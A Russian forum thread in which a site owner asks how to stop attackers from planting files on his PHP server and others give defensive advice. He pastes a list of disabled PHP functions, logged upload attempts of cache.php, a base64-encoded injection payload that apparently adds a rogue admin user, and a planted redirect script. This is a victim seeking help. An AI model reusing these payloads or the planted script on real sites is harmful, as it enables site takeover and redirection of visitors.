|
Как настроить php чтобы не загружали левые файлы?
|
|||
---|---|---|---|
#18+
Постоянно на сервере появляются левые файлы, все кроме php закрыто намертво и вообще настроено на доступ с одного айпи. в PHP.INI отключены все функции которые рекомендованы в статьях по безопасности:. disable_functions ="exec,assert,curl_exec,shell_exec,passthru,system,eval,show_source,proc_open,popen,parse_ini_file,dl,fp,print,fsockopen,phpinfo,fileperms,curl_setopt" Далее я настроил чтобы все post действия php логгировались и вижу кучу левых действий, например: 2016-11-13 18:46:50 188.191.239.237 submit=>Upload Image Name=>cache.php --------------------------- 2016-11-13 23:26:04 188.191.239.237 submit=>Upload Image Name=>cache.php --------------------------- 2016-11-15 13:36:20 216.244.84.85 ___directive=>e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ filter=>cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9leHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0FMVCAsICdnZW50bycpICksIENPTkNBVCgnOicsIEBTQUxUICkpO1NFTEVDVCBARVhUUkEgOj0gTUFYKGV4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7SU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCxgZW1haWxgLGB1c2VybmFtZWAsYHBhc3N3b3JkYCxgY3JlYXRlZGAsYGxvZ251bWAsYHJlbG9hZF9hY2xfZmxhZ2AsYGlzX2FjdGl2ZWAsYGV4dHJhYCxgcnBfdG9rZW5gLGBycF90b2tlbl9jcmVhdGVkX2F0YCkgVkFMVUVTICgnRmlyc3RuYW1lJywnTGFzdG5hbWUnLCdlbWFpbEBleGFtcGxlLmNvbScsJ21hZycsQFBBU1MsTk9XKCksMCwwLDEsQEVYVFJBLE5VTEwsIE5PVygpKTtJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKHBhcmVudF9pZCx0cmVlX2xldmVsLHNvcnRfb3JkZXIscm9sZV90eXBlLHVzZXJfaWQscm9sZV9uYW1lKSBWQUxVRVMgKDEsMiwwLCdVJywoU0VMRUNUIHVzZXJfaWQgRlJPTSBhZG1pbl91c2VyIFdIRVJFIHVzZXJuYW1lID0gJ21hZycpLCdGaXJzdG5hbWUnKTs= forwarded=>1 --------------------------- 2016-11-15 13:36:21 216.244.84.85 form_key=>D4eM2E7wXQT4AYYO login=>Array --------------------------- 2016-11-15 18:09:55 188.191.239.112 submit=>Upload Image Name=>cache.php --------------------------- Правда этого файла я не нахожу, вроде бы. Хотя может не там ищу. Есть куча левых файлов с совершенно разным содержанием, например: <?php #abaixo, criamos uma variavel que terá como conteúdo o endereço para onde haverá o redirecionamento: $redirect = " http://108.179.252.52/~santa647/acesso-online/"; #abaixo, chamamos a função header() com o atributo location: apontando para a variavel $redirect, que por #sua vez aponta para o endereço de onde ocorrerá o redirecionamento header("location:$redirect"); ?> Вот что означает например начало одного из логов, я там ничего не понимаю: Код: php 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212.
... |
|||
:
Нравится:
Не нравится:
|
|||
01.01.2017, 14:52 |
|
Как настроить php чтобы не загружали левые файлы?
|
|||
---|---|---|---|
#18+
mproЕсть куча левых файловГхм.... откуда они взялись? Вы их сами закинули на хостинг? Нет? Это "благодарные" пользователи нафигачили? В таком случае прошу прощения за глупый вопрос, а нахрена Вы, вообще, разрешаете пользователям закидывать на хостинг эту левоту? Да, и чего ради пользователи имеют принципиальную возможность загружать пхпшные (а так же, перловые, шеллл и прочие скриптовые) файлы? Впрочем, причиной появления левоты может быть и поломатая ОСь, что-то вроде прошлогодней (или позапрошлогодней?) уязвимости glibc. Это, к вопросу "ой, у меня в конфигах всё пучком, а оно всё равно лезет". Однако, необходимости администрирования сервера по теме закрытия всевозможных уязвимостей системы никто, вроде, не отменял пока. ... |
|||
:
Нравится:
Не нравится:
|
|||
01.01.2017, 17:16 |
|
Как настроить php чтобы не загружали левые файлы?
|
|||
---|---|---|---|
#18+
Дыры в своем пхп приложении залатайте и будет счастье. ... |
|||
:
Нравится:
Не нравится:
|
|||
01.01.2017, 17:18 |
|
Как настроить php чтобы не загружали левые файлы?
|
|||
---|---|---|---|
#18+
Каким способом закрыть аплоад? Какие примерно могут быть уязвимости? ... |
|||
:
Нравится:
Не нравится:
|
|||
01.01.2017, 18:19 |
|
Как настроить php чтобы не загружали левые файлы?
|
|||
---|---|---|---|
#18+
mproКаким способом закрыть аплоад? Какие примерно могут быть уязвимости? Хм, начните с этого: https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet ... |
|||
:
Нравится:
Не нравится:
|
|||
01.01.2017, 20:00 |
|
Как настроить php чтобы не загружали левые файлы?
|
|||
---|---|---|---|
#18+
Спасибо интересная информация, но мне бы лучше чтонить вроде топ10 популярных уязвимостей которые используют. И кстати если в php отключу аплоад, то это 100% что загрузить ничего нельзя или есть еще обходные пути? ... |
|||
:
Нравится:
Не нравится:
|
|||
02.01.2017, 14:54 |
|
Как настроить php чтобы не загружали левые файлы?
|
|||
---|---|---|---|
#18+
mproИ кстати если в php отключу аплоад, то это 100% что загрузить ничего нельзя или есть еще обходные пути?Есть, и не так уж мало - функции типа file_get_contents вполне позволяют притянуть внешний контент, а так же сокеты, curl и т.д. вплоть до GET и POST запросов (код простенького загрузчика вполне можно передать в GET). Проблема чаще всего обнаруживается не в PHP и его настройках, а в коде скриптов, которые позволяют сделать пользователю больше, чем предполагал разработчик. ... |
|||
:
Нравится:
Не нравится:
|
|||
02.01.2017, 15:53 |
|
|
start [/forum/topic.php?fid=23&msg=39378915&tid=1460810]: |
0ms |
get settings: |
9ms |
get forum list: |
12ms |
check forum access: |
4ms |
check topic access: |
4ms |
track hit: |
44ms |
get topic data: |
11ms |
get forum data: |
2ms |
get page messages: |
44ms |
get tp. blocked users: |
2ms |
others: | 293ms |
total: | 425ms |
0 / 0 |